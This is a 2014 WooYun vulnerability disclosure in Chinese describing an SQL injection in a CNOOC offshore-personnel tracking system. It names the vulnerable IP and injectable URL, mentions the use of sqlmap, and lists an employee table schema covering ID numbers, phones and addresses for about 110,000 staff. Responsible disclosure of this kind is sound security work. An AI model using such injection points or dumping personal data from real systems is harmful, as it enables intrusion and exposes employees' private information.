当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-060750

漏洞标题：中国海洋石油公司泄露十多万职工信息

相关厂商：中海石油（中国）有限公司

漏洞作者： 冰火九天

提交时间：2014-05-15 12:34

修复时间：2014-06-29 12:34

公开时间：2014-06-29 12:34

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-05-15： 细节已通知厂商并且等待厂商处理中
2014-05-18： 厂商已经确认，细节仅向厂商公开
2014-05-28： 细节向核心白帽子及相关领域专家公开
2014-06-07： 细节向普通白帽子公开
2014-06-17： 细节向实习白帽子公开
2014-06-29： 细节向公众公开

简要描述：

中国海洋石油公司泄露十多万职工信息

详细说明：

突破口在这个网站上
http://202.108.65.139:8080/ 出海人员动态跟踪管理系统
注入点http://202.108.65.139:8080/page.jsp?type=2&id=300

1.png


列个表

2.png


看到一个tb_EmployeeInfo表，职工信息表

Database: zhymis
Table: tb_EmployeeInfo
[34 columns]
+----------------+-----------+
| Column         | Type      |
+----------------+-----------+
| Address        | varchar   |
| Birthday       | datetime  |
| Card_ID        | varchar   |
| Card_Type      | int       |
| cardtypemc     | varchar   |
| CMOS_ID        | varchar   |
| Company_ID     | int       |
| companymc      | varchar   |
| country        | varchar   |
| Department     | varchar   |
| DepartmentType | nvarchar  |
| Duty           | varchar   |
| Employee_Code  | varchar   |
| Employee_Name  | varchar   |
| englishname    | varchar   |
| Home_Connect   | varchar   |
| homeconnecter  | varchar   |
| IDCard_No      | varchar   |
| If_Del         | int       |
| Input_Status   | varchar   |
| Input_Time     | datetime  |
| Input_User     | int       |
| isvalid        | varchar   |
| Phone          | varchar   |
| Photo          | varbinary |
| Photo_Path     | varchar   |
| Post_ID        | int       |
| postcode       | varchar   |
| postmc         | varchar   |
| relation       | varchar   |
| Resume_Path    | varchar   |
| Sex            | varchar   |
| Sign_Date      | datetime  |
| Sign_Loss      | int       |
+----------------+-----------+


本来没考虑那么多，一个dump想全列出来，sqlmap死了···
好吧，count一下

3.png


我勒个去，11万条，列个前几条吧

.JPG


漏洞证明：

如上

修复方案：

参数过滤

版权声明：转载请注明来源 冰火九天@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2014-05-18 16:11

厂商回复：

CNVD确认并复现所述情况，由CNVD通过网站公开渠道联系网站管理单位中国海洋石油公司处置。

最新状态：

暂无

漏洞评价：

评论